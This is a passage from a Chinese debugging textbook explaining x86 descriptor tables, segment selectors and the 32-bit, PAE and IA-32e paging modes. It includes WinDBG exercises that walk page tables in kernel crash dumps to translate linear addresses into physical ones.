IA-32处理器有3种描述符表:全局描述符表(Global Descriptor Table,
GDT)、局部描述符表(Local Descriptor Table,LDT)和中断描述符
表(Interrupt Descriptor Table,IDT)。
GDT 是全局的,一个系统中通常只有一个GDT,供系统中的所有
程序和任务使用。LDT与任务相关,每个任务可以有一个LDT,也可以
让多个任务共享一个LDT。IDT的数量是和处理器的数量相关的,系统
通常会为每个CPU建立一个IDT。
GDTR和IDTR寄存器分别用来标识GDT和IDT的基地址和边界。这
两个寄存器的格式是相同的,在32位模式下,长度是48位,高32位是基
地址,低16位是边界;在IA-32e模式下,长度是80位,高64位是基地
址,低16位是边界。
LGDT和SGDT指令分别用来读取和设置GDTR寄存器。LIDT和
SIDT指令分别用来读取和设置IDTR寄存器。操作系统在启动初期会建
立GDT和IDT并初始化GDTR和IDTR寄存器。
位于GDT中第一个表项(0号)的描述符保留不用,称为空描述符
(null descriptor)。当把指向空描述符的段选择子加载到段寄存器时不
会产生异常。
当创建LDT时,GDT已经准备好,因此,LDT被创建为一种特殊的
系统段,其段描述符被放在GDT表中。GDT表本身只是一个数据结构,
没有对应的段描述符。
使用WinDBG的r命令可以观察GDTR和IDTR寄存器的值,因为它
们是48位的,所以应该分两次,分别读取它们的基地址和边界:
kd> r gdtr
gdtr=8003f000
kd> r idtr
idtr=8003f400
kd> r gdtl
gdtl=000003ff
kd> r idtl
idtl=000007ff
从上面的gdtl值可以看出这个GDT的边界是1023,总长度是1024字
节(1KB),共有128个表项。IDT的长度是2KB,共有256个表项。
2.6.3 段选择子
局部描述符表寄存器LDTR表示当前任务的LDT在GDT中的索引,
其格式是典型的段选择子格式(见图2-7)。
图2-7 段选择子
段选择子的TI位代表要索引的段描述符表(table indicator),TI=0
表示全局描述符表,TI=1表示局部描述符表。
段选择子的高13位是描述符索引,即要选择的段描述符在TI所表示
的段描述符表中的索引号。因为这里使用的是13位,意味着最多可索引
213 = 8192个描述符,所以GDT和LDT的最大表项数都是8192。因为x86
CPU最多支持256个中断向量,所以IDT表的最多表项数是256。
段选择子的低两位表示的是请求特权级(Requestor Privilege
Level,RPL),用于特权检查,详细介绍见下文。
任务状态段寄存器TR中存放的也是一个段选择子,指向的是全局
段描述表(GDT)中描述当前任务状态段(Task State Segmentation,
TSS)的段描述符。任务状态段是保存任务上下文信息的特殊段,其基
本长度是104字节,操作系统可以附加更多内容。TSS是实现任务切换
的重要数据结构。当进行任务切换时,处理器先把当前任务的执行现场
—— 包括CS:EIP在内的寄存器保存到TR所指定的TSS中,然后把指向
下一任务的TSS的选择子装入TR(使用LTR指令),接下来再从TSS中
把下一任务的寄存器信息加载到各个寄存器中,然后开始执行下一任
务。
除了LDTR和TR,在保护模式下所有段寄存器(CS、DS、ES、FS
和GS)中存放的也是段选择子,不再是实模式时的高16位基地址。
2.6.4 观察段寄存器
可以使用调试工具(WinDBG或Visual Studio)来观察段寄存器的
值,图2-8所示的是将记事本进程中断到调试器后所看到的情况。
图2-8 保护模式下的段寄存器内容示例
首先,很容易看出这些段寄存器指向的都是全局段描述表(GDT)
中的段描述符(TI=0),GS和FS的RPL是0,其他都是3。
可以使用WinDBG的dg命令来显示一个段选择子所指向的段描述符
的详细信息。例如,以下是将CS寄存器内的段选择子传递给dg命令而
显示出的结果:
0:002> dg 1b
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
001B 00000000 ffffffff Code RE Ac 3 Bg Pg P Nl 00000cfb
其中Sel代表选择子(Selector),Base和Limit分别是基地址和边
界,Type是段的类型,RE代表只读(Read Only)和可以执行
(Executable),Ac代表被访问过。Type后面的Pl代表特权级别
(Privilege Level),数值3代表用户特权级,Size代表代码的长度,
Bg(Big)意味着32位代码,Gran代表粒度,Pg意味着粒度的单位是内
存页(4KB),Pres代表Present,即这个段是否在内存中,因为
Windows系统使用分页机制来实现虚拟内存,所以段的存在标志不再起
重要作用,Long下的Nl表示Not Long,意味着这不是64位代码。
以下是DS和ES所代表描述符的信息:
0:000> dg 23
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0023 00000000 ffffffff Data RW Ac 3 Bg Pg P Nl 00000cf3
因为DS和ES是用来选择数据段的,所以可以看到类型属性中有数
据(Data)和读写(RW)。另外,值得注意的是,以上两个段的基地
址都是0,边界都是4GB1,像这样将段的基地址设为0,长度设为整个
内存空间大小(4GB)的段使用方式称为平坦模型(Flat Model)。
下面再观察一下FS寄存器所指向的段描述符:
0:001> dg 38
P Si Gr Pr Lo
Sel Base Limit Type l ze an es ng Flags
---- -------- -------- ---------- - -- -- -- -- --------
0038 7ffde000 00000fff Data RW Ac 3 Bg By P Nl 000004f3
易见这个段的基地址不再为0,边界也不是4GB1,而是
4KB1(4095)。事实上,在Windows系统中,FS段是用来存放当前线
程的线程环境块,即TEB结构的。TEB结构是在内核中创建,然后映射
到用户空间的。
使用~命令列出线程的基本信息,可以看到线程1的TEB结构地址
正是FS所代表段的基地址。
0:001> ~
0 Id: fd4.1e10 Suspend: 1 Teb: 7ffdf000 Unfrozen
. 1 Id: fd4.1294 Suspend: 1 Teb: 7ffde000 Unfrozen
TEB中保存着当前线程的很多重要信息,很多系统函数和API是依
赖这些信息工作的,包括著名的GetLastError() API,其反汇编代码如
下:
0:000> u kernel32!GetLastError
kernel32!GetLastError:
7c8306c9 64a118000000 mov eax,dword ptr fs:[00000018h]
7c8306cf 8b4034 mov eax,dword ptr [eax+34h]
7c8306d2 c3 ret
把上面的指令翻译成C语言的代码,应该是:
return NtCurrentTeb()->LastErrorValue;
因为偏移0x34的字段刚好是LastErrorValue:
0:018> dt _TEB -y LastE
ntdll!_TEB
+0x034 LastErrorValue : Uint4B
上面的汇编指令还隐含了一种约定:函数的返回值(不要与函数返
回地址混淆)如果是整数,通用寄存器可以容纳,那么通常是使用寄存
器来返回的,x86架构中,一般使用的是EAX寄存器。明白了这种约定
后,在调试时,我们便可以通过观察EAX寄存器来了解函数的返回值,
通常应该在子函数即将返回或者刚刚返回到父函数时观察,因为在其他
地方,EAX寄存器可能被用作其他用途。
观察同一个Windows系统中的其他进程,我们会发现,其他进程的
CS、DS、ES、GS寄存器的值和上面的是一模一样的,这说明多个进程
是共享GDT表中的段描述符的。这是因为使用了平坦模型后,它们的基
地址、边界都一样,属性也一样,因此没有必要建立多个。
除了上面介绍的代码段和数据段描述符(S位为1),另一类重要的
描述符是系统描述符(S位为0),包括描述LDT所在段的段描述符、描
述TSS段的段描述符、调用门描述符、中断门描述符、陷阱门描述符和
任务门描述符,后4种通称门描述符,3.5节将做进一步介绍。
总的来说,段机制使保护模式下的所有任务都在系统分配给它的段
空间中执行。每个任务的代码(函数)和数据(变量)地址都是相对于
它所在段的一个段内偏移。处理器根据段选择子在段描述符表(LDT、
GDT或IDT)中找到该段的段描述符,然后再根据段描述符定位这个
段。每个段具有自己的特权级别以实现对代码和数据的保护。
2.7 分页机制
IA处理器从386开始支持分页机制(paging)。分页机制的主要目
的是高效地利用内存,按页来组织和管理内存空间,把暂时不用的数据
交换到空间较大的外部存储器(通常是硬盘)上(称为page out,换
出),需要时再交换回来(称为page in,换进)。在启用分页机制后,
操作系统将线性地址空间划分为固定大小的页面(4KB、2MB、4MB
等)。每个页面可以被映射到物理内存或外部存储器上的虚拟内存文件
中。尽管原则上操作系统也可以利用段机制来实现虚拟内存,但是因为
页机制具有功能更强大、灵活性更高等特点,今天的操作系统大多都是
利用分页机制来实现虚拟内存和管理内存空间的。深入理解分页机制是
理解现代计算机软硬件的一个重要基础。
老雷评点
分页技术在20世纪60年代萌生并逐渐成熟,对现代计算机发
展之贡献不胜枚举,对计算机系统影响之广无有出其右者。
本节将以x86架构为例详细介绍分页机制。2.9节将扩展到ARM架
构。
首先,操作系统在创建进程时,就会为这个进程创建页表,从本质
上讲,页表是进程空间的物理基础,所谓的进程空间隔离主要因为每个
进程都有一套相对独立的页表,进程空间的切换实质上就是页表的切
换。x86处理器中的CR3寄存器便是用来记录当前任务的页表位置的。
当程序访问某一线性地址时,CPU会根据CR3寄存器找到当前任务使用
的页表,然后根据预先定义的规则查找物理地址。在这个过程中,如果
CPU找不到有效的页表项或者发现这次内存访问违反规则,便会产生页
错误异常(#PF)。该异常的处理程序通常是操作系统的内存管理器。
内存管理器得到异常报告后会根据CR2寄存器中记录的线性地址,将所
需的内存页从虚拟内存加载到物理内存中,并更新页表。做好以上工作
后,CPU从异常处理例程返回,重新执行导致页错误异常的那条指令,
再次查找页表。这便是虚拟内存技术的基本工作原理。要深入学习,还
有很多细节需要了解。
下面我们来看一下控制寄存器中3个与分页机制关系密切的标志
位。
CR0的PG(Paging)标志(Bit 31):用于启用分页机制,从386开
始的所有IA-32处理器都支持该标志。通常,操作系统在启动早
期,初始化内存设施,并通过这一位正式启用页机制。
CR4的PAE(Physical Address Extension)标志(Bit 5):启用物理
地址扩展(简称PAE),可以最多寻址64GB物理内存,否则最多
寻址4GB物理内存。Pentium Pro处理器引入此标志。
CR4的PSE(Page Size Extension)标志(Bit 4):用于启用大页面
支持。在32位保护模式下,当PAE=1时,大页面为2MB,当PAE=0
时,大页面为4MB。奔腾处理器引入此标志。
接下来,我们将深入到页表内部,探索其中蕴藏的奥秘。页表是地
址翻译的依据,决定着线性地址到物理地址的映射关系,它的作用就像
是字典的检字表一样,地位非同寻常。CPU的运行模式不同,页表的结
构可能也会不同。进一步说,x86 CPU的页表结构主要与是否启用PAE
和是否运行在64位模式有关。下面先介绍最简单的没有启用PAE的32位
情况。
2.7.1 32位经典分页
当CR0的PG标志为1、CR4的PAE为0时,CPU使用32位经典分页模
式。所谓经典模式,是相对于后来的PAE模式而言的,它是80386所引
入的。在这个模式下,页表结构为两级,第一级称为页目录(Page
Directory)表,第二级称为页表(Page Table)。
老雷评点
“经典”二字极恰。此模式之二级表结构,有张有弛,增之则
过繁,删之则过简,可谓尽善尽美。与其相比,后来引入之扩展
皆逊色。
页目录表是用来存放页目录表项(Page-Directory Entry,PDE)的
线性表。每个页目录占一个4KB的内存页,每个PDE的长度为32个比特
位(4字节),因此每个页目录中最多包含1024个PDE。每个PDE中内
容可能有两种格式,一种用于指向4KB的下一级页表,另一种用于指向
4MB的大内存页。图2-9所示的是指向4KB页表的PDE的格式。其中高20
位代表该PDE所指向页表的起始物理地址的高20位,该起始物理地位的
低12位固定为0,所以页表一定是按照4KB边界对齐的。
图2-9 指向页表的页目录表项(PDE)的格式(未启用PAE)
图2-10所示的是用于指向4MB内存页的PDE格式,其中高10位代表
的是4MB内存页的起始物理地址的高10位,该起始物理地址的低22位固
定为0,因此4MB的内存页一定是按4MB进行边界对齐的。
图2-10 指向4MB内存页的页目录表项(PDE)的格式(未启用PAE)
页表是用来存放页表表项(Page-Table Entry,PTE)的线性表。每
个页表占一个4KB的内存页,每个PTE的长度为32个比特位,因此每个
页表中最多包含1024个PTE。2MB和4MB的大内存页是直接映射到页目
录表项,不需要使用页表的。图2-11所示的是PTE的具体格式,其中高
20位代表的是4KB内存页的起始物理地址的高20位,该起始物理地址的
低12位假定为0,所以4KB内存页都是按4KB进行边界对齐的。
图2-11 页表表项(PTE)的格式(未启用PAE)
有了前面的基础后,下面来看一下CPU是如何利用页目录和页表等
数据结构将一个32位的虚拟地址翻译为32位的物理地址的。其过程可以
概括为如下步骤。
① 通过CR3寄存器定位到页目录的起始地址,正因如此,CR3寄存
器又称为页目录基地址寄存器(PDBR)。取线性地址的高10位作为索
引选取页目录的一个表项,也就是PDE。
② 判断PDE的PS位,如果为1,代表这个PDE指向的是一个4MB的
大内存页,PDE的高10位便是4MB内存页的基地址的高10位,线性地址
的低22位是页内偏移。将二者合并到一起便得到了物理地址。如果PS位
为0,那么根据PDE中的页表基地址(取PDE的高20位,低12位设为0)
定位到页表。
③ 取线性地址的12位到21位(共10位)作为索引选取页表的一个
表项,也就是PTE。
④ 取出PTE中的内存页基地址(取PTE的高20位,低12位设为
0)。
⑤ 取线性地址的低12位作为页中偏移与上一步的内存页基地址相
加便得到物理地址。
将线性地址映射到物理内存的过程如图2-12所示。
图2-12 将线性地址映射到4KB内存页的过程(32位经典分页)
值得说明的是,页表本身也可能被交换到虚拟内存中,这时PDE的
P位会为0,CPU会产生缺页异常,促使内存管理器将页表交换回物理内
存。然后再重新执行访问内存的指令和地址翻译过程。与页表不同,每
个进程的页目录是永久驻留在物理内存中的。
格物致知
老雷评点
朱熹有言,“言理则无可捉摸,物有时而离。言物则理自
在,自是离不得。”理之妙在于以一摄万,但却抽象,“无可捉
摸”,不易掌握。因此朱熹非常推重格物。格物者,躬行实践
也。朱子又言,“知与行,功夫须著并到。知之愈明,则行之
笃;行之愈笃,则知之愈明。二者皆不可偏废。如人两足相先后
行,便会渐渐行得到。”是故本书特增“格物致知”环节,作者用
心良苦也。
下面通过试验来加深大家对以上内容的理解,建议根据配套网站中
的提示建立好实验环境,然后按照以下提示亲自实践。
① 启动WinDBG,单击菜单File→Open Crash Dump,打开DUMP文
件C:\swdbg2e\dumps\xpsp3nop\MEMORY.DMP。加载文件后,WinDBG
会显示一系列信息,包括转储类型(Kernel Summary Dump File)、目
标系统版本(XP SP3)、32位(x86)以及产生转储的时间:
Debug session time: Sun Jul 21 10:30:02.779 2013
老雷评点
软件环境千差万别,如用活动调试目标,初学者难免遇到各
种不同处,心生困惑。转储文件截取时空之一瞬,化不定为固
定,实学习之佳径。此文件是作者在上海静安图书馆写作时产
生,时值盛夏。
② 执行r cr4,显示控制寄存器CR4的内容:
kd> r cr4
cr4=000006d9
执行.formats 6d9,得到对应的二进制:
Binary: 00000000 00000000 00000110 11011000
查阅本章的表2-2,可以知道每一位的含义,我们重点看PAE位和
PSE位,即Bit 5和Bit 4,Bit 5为0代表没有启用PAE,Bit 4为1代表启用
了大内存页支持。
③ 执行.symfix c:\symbols命令,并执行.reload命令加载符号信息。
如果是第一次做这个试验,需要验证机器有互联网连接,这样WinDBG
才能从微软的符号服务器自动下载Windows系统模块的符号文件。
④ 执行!process 0 0命令列出所有进程,并在其中找到关于
ImBuggy.exe的内容。
kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
…
PROCESS 823ee898 SessionId: 0 Cid: 0774 Peb: 7ffd8000 ParentCid: 065
c
DirBase: 0ca83000 ObjectTable: e1afa390 HandleCount: 22.
Image: ImBuggy.exe
…
上面结果中,DirBase的值0ca83000 就是ImBuggy进程的页目录基地
址,执行r cr命令显示CR3寄存器的内容,与此刚好相同。
kd> r cr3
cr3=0ca83000
这说明产生转储时,当前进程就是ImBuggy进程,事实上是这个进
程调用驱动程序realbug.sys导致系统蓝屏崩溃,崩溃后,系统自动产生
了这个转储文件。
⑤ 执行lmvm realbug显示realbug模块的详细信息,注意它的起始地
址和结束地址:
kd> lmvm realbug
start end module name
f8c2e000 f8c35000 RealBug …
⑥ 执行s –sa命令,以realbug模块的起始地址和结束地址为界,搜
索其中的所有ASC串:
kd> s -sa f8c2e000 f8c35000
f8c2e04d "!This program cannot be run in D"
f8c2e06d "OS mode.
…
⑦ 接下来的目标就是将上面的经典字符串的线性地址f8c2e04d转换
为物理地址。先将这个线性地址转化为二进制:
kd> .formats f8c2e04d
Binary: 11111000 11000010 11100000 01001101
根据图2-12,高10位是页目录索引,即:
kd> ? 0y1111100011
Evaluate expression: 995 = 000003e3
中间10位是页表索引,即:
kd> ? 0y0000101110
Evaluate expression: 46 = 0000002e
低12位是页内偏移,即04d。
⑧ 根据图2-4,CR3的高20位就是页目录基地址的高20位,低12位
为0,因此,ca83000就是ImBuggy进程的页目录基地址。于是,使用!dd
命令(显示物理内存,注意有!号)就可以显示出页目录表的内容:
kd> !dd 0ca83000
# ca83000 0cabc067 0ca37067 0ca74067 00000000
# ca83010 00000000 00000000 00000000 00000000
…
页目录的每一项是4个字节,根据上一步的页目录索引计算偏移
量,便可以显示出所要找的页目录表项(PDE):
kd> !dd 0ca83000+3e3*4 L1
# ca83f8c 0101a163
命令中的L1用来限制要观察的内存长度,表示只显示一个32位数
据。至此,我们在ImBuggy进程的页目录表中找到了线性地址f8c2e04d
所使用的页目录项,其内容为0101a163。
⑨ 根据图2-9,PDE的高20位为页表起始地址的高20位,这意味着
0x0101a000就是我们要找的页表基地址。PDE的低12位(163)代表的
是页表属性,将0x163转换为二进制0001 01100011b,便得到其各位由
低到高的含义如下。
位0,Present位,1表示该内存页在物理内存中。
位1,R/W位,即读写权限,1表示可读可写。
位2,U/S位,即用户还是系统权限,0表示系统权限。
位3,Page level Write Through位,用于控制高速缓存(write-back还
是write-through)策略,1表示write-back。
位4,Page level cache disable(禁止页级缓存)位,0表示没有禁止
缓存该页。
位5,A(Accessed)位,内存管理器在把内存页加载到物理内存
后,通常会清除此位,当有访问发生时再设置此位,1表示对应的
内存页(下级页表)被访问过。
位6,D(Dirty)位,1表示对应的内存页被写过。
位7,PS(Page Size)位,即页大小,1表示4MB或2MB(如果启用
了扩展物理寻址(PAE)功能),0表示4KB大小的普通内存页。
位8,G位,即是否为全局页,全局页是Pentium Pro引入的功能,如
果某个内存页被标记为全局页,而且CR4的PGE标志为1,那么当
CR3寄存器内容变化或任务切换时,TLB中用于全局页的页表和页
目录表项不会失效,1表示是全局页。
位9~11,供内存管理软件(操作系统的内存管理器)使用。
⑩ 继续使用!dd命令观察页表,根据第7步,页表索引是0x2e,每个
页表表项的长度是4字节,所以应该观察物理地址0x0101a000+2e*4。
kd> !dd 0x0101a000+2e*4 L1
# 101a0b8 0d566163
也就是说,页目录表项的内容为0d566163,根据图2-9,其含义
为:高20位为所在内存页的起始地址的高20位,即目标地址所在内存页
的基地址是0x0d566000;低12位(163)代表的是内存页的属性,其解
释与第9步中的内容类似,不再赘述。
⑪ 得到了页的基地址后,加上页内偏移(0x04d)便是最终的物理
地址了。综合以上结果,线性地址f8c2e04d的物理地址是0x0d56604d,
使用!db命令观察这个物理地址:
kd> !db 0x0d56604d
# d56604d 21 54 68 69 73 20 70 72-6f 67 72 61 6d 20 63 61 !This program ca
# d56605d 6e 6e 6f 74 20 62 65 20-72 75 6e 20 69 6e 20 44 nnot be run in D
# d56606d 4f 53 20 6d 6f 64 65 2e-0d 0d 0a 24 00 00 00 00 OS mode....$....
可见物理地址0x0d56604d处的内容与我们在第6步看到的线性地址
f8c2e04d处的内容是完全一致的。
⑫ 以上出于学习目的,我们模仿CPU的地址翻译行为,一步步地将
线性地址手工翻译为物理地址。其实,只要执行WinDBG的!pte命令便
可以自动帮我们执行以上步骤:
kd> !pte f8c2e04d
VA f8c2e04d
PDE at C0300F8C PTE at C03E30B8
contains 0101A163 contains 0D566163
pfn 101a -G-DA--KWEV pfn d566 -G-DA—KWEV
以上结果的含义是,线性地址对应的PDE位于C0300F8C(线性地
址,与第8步中的物理地址ca83f8c等价),其内容为0101A163;PTE位
于C03E30B8,内容为0D566163(与第10步一致)。
最后一行中的pfn是Page Frame Number的缩写,即页帧号。这是内
存管理中的一个常用术语,代表以页为单位的物理内存编号。x86中,
以4KB为页单位,因此页帧号其实就是物理地址的高20位,知道页帧号
后,在其后补上页内偏移(线性地址的低12位),便得到线性地址。以
上面结果为例,pfn是d566,加上低12位04d便得到f8c2e04d对应的物理
地址d56604d。
2.7.2 PAE分页
前面介绍的32位经典分页模式是由386 CPU引入的,是x86架构实现
的第一种分页模式。使用这种分页模式,可以将32位的线性地址映射到
32位的物理地址。从地址空间的角度来讲,使用这种分页模式时,线性
地址和物理地址的空间都是4GB大小。随着计算机的发展,计算机所配
备的物理内存不断增多。为了适应这个发展趋势,于1995年推出的
Pentium Pro处理器引入了一种新的分页模式,物理地址的宽度被扩展为
36位,可以最多支持64GB物理内存,这种分页模式称为物理地址扩
展,简称PAE。相对于上面介绍的32位分页模式,PAE分页的主要变化
如下。
页目录表项和页表表项都从原来的32位扩展到64位,低12位仍为标
志位,从Bit 12到Bit 35的高24位用来表示物理地址的高24位。这样
改变后,物理地址就从原来的32位扩展到36位,最多可以索引
64GB的物理内存。
将原来的二级页表结构改为三级,新增的一级称为页目录指针表
(Page Directory Pointer Table,PDPT)。页目录指针表包含4个64
位的表项,每个表项指向一个页目录。每张页目录描述1GB的线性
地址空间,4张页目录一起刚好描述4GB的线性地址空间。
CR3寄存器的格式略有变化,低5位保留不用,高27位指向页目录
指针表的起始物理地址。
PAE模式下将32位的线性地址映射到4KB内存页时的页表结构和映
射方法如图2-13所示。此时,32位线性地址被分割为如下4个部分。
2位(位30和位31)的页目录指针表索引,用来索引本地址在页目
录指针表中的对应表项。
9位(位21~29)的页目录表索引,用来索引本地址在页目录表中
的对应表项。
9位(位12~20)的页表索引,用来索引本地址在页表中的对应表
项。
12位(位0~11)的页内偏移,这与32位分页模式是相同的。
图2-13 将线性地址映射到4KB内存页的过程(PAE分页)
结合图2-13,对于PAE分页还有以下几点值得说明:首先,因为使
用CR3表示的页目录指针表的起始地址仍为32位,所以就要求页目录指
针表一定要分配在物理地址小于4GB的内存中。其次,因为CR3的低5
位保留不用,所以又要求这个起始地址的低5位为0,可以被32整除。最
后,与32位分页相比,32位线性地址中的页目录索引位和页表索引位都
从10位减少到9位,所以每张页目录和页表的总表项数也由1024项减少
为512,同时每个表项的大小由4个字节增加到8个字节,所以每张页目
录或者页表的总大小仍然是4KB。总体来看,虽然每张页目录和页表的
表项数少了一半,但因为增加了一级映射,页目录的数量由原来的1张
变为最多4张,所以支持的最大页面数仍然是4×512×512 = 220,即2M
个。
格物致知
下面仍然通过动手试验来加深理解PAE分页。
① 启动WinDBG,打开DUMP文件
C:\swdbg2e\dumps\xpsp3pae\MEMORY.DMP。
② 执行r cr4显示控制寄存器CR4的内容:
kd> r cr4
cr4=000006f9
执行.formats 6f9,得到对应的二进制:
Binary: 00000000 00000000 00000110 11111001
其中,Bit 5为1代表启用了PAE。
③ 执行r cr3显示控制寄存器CR3的内容:
kd> r cr3
cr3=072c0260
这就是当前正在使用的页目录指针表的物理地址,注意这个数值的
低5位全都为0。因为每个进程的页目录指针表的表项只有4个,所以可
以使用!dq命令将当前进程的页目录指针表的所有表项显示出来:
kd> !dq 072c0260 L4
# 72c0260 00000000`1020e001 00000000`1014f001
# 72c0270 00000000`10090001 00000000`1028d001
④ 重复上一个试验的步骤5和步骤6,找到以下字符串的线性地
址:
f8bdd04d "!This program cannot be run in D"
f8bdd06d "OS mode."
⑤ 将线性地址f8bdd04d转化为二进制:
Binary: 11111000 10111101 11010000 01001101
⑥ 根据图2-13,先取最高两位0y11,即3,结合步骤3中的页目录指
针表内容,可以得到线性地址对应的页目录表基地址为1028d000。
⑦ 取线性的次高9位作为索引,加上页目录基地址,便可以观察到
页目录项:
kd> !dq 1028d000+(0y111000101)*8 L1
#1028de28 00000000`01033163
将低12位的标志位替换为0,便得到页表基地址,即1033000。
⑧ 将页表基地址加上再次9位代表的页表索引,即得到页表项:
kd> !dq 1033000+(0y111011101)*8 L1
# 1033ee8 00000000`10561163
最低位为1代表对应的内存页有效,将低12位的标志位替换为0,便
得到内存页的基地址10561000,加上最低12位代表的页内偏移,便得到
了线性地址f8bdd04d对应的物理地址1056104d。
⑨ 执行!pte f8bdd04d,让WinDBG自动执行以上翻译过程。
kd> !pte f8bdd04d
VA f8bdd04d
PDE at C0603E28 PTE at C07C5EE8
contains 0000000001033163 contains 0000000010561163
pfn 1033 -G-DA--KWEV pfn 10561 -G-DA--KWEV
可见,这个结果与我们手工得到的结果完全吻合。
2.7.3 IA-32e分页
在支持64位的Intel 64架构中,对PAE分页做了进一步扩展,页表结
构扩充为4级,可以支持的线性地址和物理地址宽度都大大增加。在英
特尔的软件手册中,这种分页模式称为IA-32e分页。
从页表结构来看,IA-32e分页可以支持最大物理地址宽度可以是64
位。但如果从芯片的硬件设计来考虑,物理地址的宽度越大,所需的地
址线条数也就越多,这直接关系到芯片封装和主板设计等方面的成本。
而且考虑到短时间内物理内存的容量也根本不需要那么大,所以目前实
际支持的物理地址宽度并不是64位。页表结构中支持的宽度是52位,也
就是4PB。而CPU硬件的实际物理地址宽度可以是小于52的一个可变化
值,在软件手册中,经常用M来表示,是MAXPHYADDR的简写。可以
通过CPUID指令来获取M的值。先将EAX寄存器赋值为80000008H,执
行CPUID指令后,EAX寄存器的最低字节便是M的值。使用本章附带的
CpuId小程序就可以检测M的值。在作者目前正在使用的Intel Core i5-
2540M CPU上执行的结果是48,也就是物理地址的宽度为48位,可以最
多支持256TB的物理内存。类似地,考虑到软件的实际内存需求情况,
线性地址的实际宽度通常也为48位。在64位的Windows操作系统中,实
际使用的是44位(16TB)。
与普通的PAE分页相比,IA-32e有以下主要不同。
新增一级页表,称为页映射表,简称PML4,是Page Map Level 4的
缩写。
CR3寄存器的宽度为64位,低12位为标志位或者用于优化页表缓存
的进程上下文ID(Process-Context Identifiers,PCID),Bit 12到M-
1为页映射表的物理地址,Bit M到Bit 63保留不用(0)。
将48位的线性地址翻译为物理地址的过程如图2-14所示,其中显示
的是物理内存页的大小为4KB的情况。2.7.4节将讨论内存页大小超过
4KB的情况。
图2-14 将线性地址映射到4KB内存页的过程(IA-32e分页)
格物致知
实践出真知,接下来,我们还是通过动手试验来认识IA-32e分页的
工作原理。
① 启动WinDBG,打开DUMP文件
C:\swdbg2e\dumps\w764\MEMORY.DMP。
② 执行r cr4显示控制寄存器CR4的内容:
0: kd> r cr4
cr4=00000000000006f8
代表PAE的Bit 5为1,印证IA-32e模式是对普通PAE的进一步扩展。
③ 使用da命令观察线性地址fffff880`00f6704d的内容。
0: kd> da fffff880`00f6704d
fffff880`00f6704d "!This program cannot be run in D"
fffff880`00f6706d "OS mode....$"
④ 接下来的目标就是将这个线性地址翻译为物理地址,先使
用.format命令将其转化二进制:
0: kd> .formats fffff880`00f6704d
Binary: 11111111 11111111 11111000 10000000 00000000 11110110 01110000 01
001101
⑤ 执行r cr3观察CR3寄存器的内容:
0: kd> r cr3
cr3=000000006911b000
低12位都是0,因此这个数字便是页映射表的物理基地址。
⑥ 根据图2-14,以线性地址的39~47位为索引,读取页映射表表项
(PML4E):
0: kd> !dq 000000006911b000+0y111110001*8 L1
#6911bf88 00000001`30404863
低12位是标志位,换为0,即得到页指真表的基地址01`30404000。
⑦ 继续以线性地址的30~38位为索引,读取页指针表表项
(PDPTE):
0: kd> !dq 01`30404000+0y000000000*8 L1
#130404000 00000001`30403863
将代表标志位的低12位换为0,即得到页目录表的基地址
01`30403000。
⑧ 继续以线性地址的21~29位为索引,读取页目录表表项
(PDE):
0: kd> !dq 01`30403000+0y000000111*8 L1
#130403038 00000000`03483863
将低12位换为0,即得到页表的基地址3483000。
⑨ 继续以线性地址的12~21位为索引,读取页表表项(PTE):
0: kd> !dq 3483000+0y101100111*8 L1
# 3483b38 80000000`03606963
最高位中的1是所谓的XD(Execute Disable)位,意思是这个页中
的数据不可以被当作指令来执行。低12位是标志位,Bit 0为1代表对应
的内存页有效。将最高位和低12位换成0,便得到物理页的基地址
3606000,再加上线性地址低12位,便得到了线性地址所对应的物理地
址,360604d。使用!db命令观察这个地址,其内容与第3步所观察到的
完全一致。
⑩ 执行!pte fffff880`00f6704d命令,让WinDBG帮我们自动完成以
上翻译过程,其结果应该是一致的,请大家自己完成。
2.7.4 大内存页
前面以4KB内存页为例介绍了3种分页模式。本节将统一介绍大内
存页的情况。
还是从基本的32位分页开始。在这种模式下,如果页表项的PS位
(Bit 7)为1,那么就代表这个页目录表项指向的是一个4MB的大内存
页,内存翻译过程到此结束,页表项的高10位便是内存页的起始物理地
址,线性地址的低22位是页内偏移。如果PS位为0,那么页目录表项指
向的就是页表,页表中的页表项再指向4KB的内存页,也就是前面介绍
的情况。从翻译过程来看,当访问4KB内存页的线性地址时,翻译时需
要先查页目录,再查页表,也就是查两级页表,而对于4MB大内存页的
线性地址来说,翻译时只需要查一级页表,这可以明显提高访问内存的
速度。从页表结构来看,大内存页就是省略下一级页表,让页目录表项
直接指向物理内存页。
与32位分页类似,在PAE分页模式下,当页目录表项的PS位为1
时,它指向的是2MB的内存页。
以此类推,在IA-32e分页模式下,有两种大内存页:一种是目录项
的PS位为1时,它指向的是2MB大内存页;另一种是当页目录指针表的
PS位(Bit 7)为1时,它指向的是一个1GB的大内存页。
综上所述,大内存页的大小可能是4MB、2MB或者1GB。在
Windows操作系统中,可以调用GetLargePageMinimum API来查询大内
存页的大小。使用大内存页,可以提高访问内存的速度,因此,
Windows内核通常都会为自己分配大内存页。对于应用程序来说,可以
指定MEM_ LARGE_PAGE标志使用VirtualAlloc API来分配大内存页内
存,但是需要有SeLockMemoryPrivilege权限。
格物致知
下面通过动手试验来进一步理解大内存页。
① 启动WinDBG,打开
C:\swdbg2e\dumps\xpsp3nop\MEMORY.DMP。
② 成功打开文件后,WinDBG会提示内核文件的基地址,以及内核
模块列表的地址:
Kernel base = 0x804d7000 PsLoadedModuleList = 0x8055b1c0
③ 我们就以后一个地址0x8055b1c0为例来看一看它是如何使用大内
存页的,先将其转化为二进制数:
kd> .formats 0x8055b1c0
Binary: 10000000 01010101 10110001 11000000
④ 执行r cr3得到页目录基地址,然后以线性地址的高10位为索引观
察页目录表项:
kd> r cr3
cr3=0ca83000
kd> !dd 0ca83000+0y1000000001*4 L1
# ca83804 004001e3
⑤ 将页目录项的内容转化为二进制:
kd> .formats 004001e3
Binary: 00000000 01000000 00000001 11100011
代表页大小的PS位(Bit 7)为1,说明它指向的是4MB的大内存
页,把页目录表项的高10位与线性地址的低22位合并在一起便得到物理
地址。分别使用!dd和dd命令观察物理地址和线性地址,可以看到二者
的内容是一致的。
kd> !dd 0y00000000010101011011000111000000 L4
# 55b1c0 827fc3b0 826948b8 00000000 00000000
kd> dd 0x8055b1c0 L4
8055b1c0 827fc3b0 826948b8 00000000 00000000
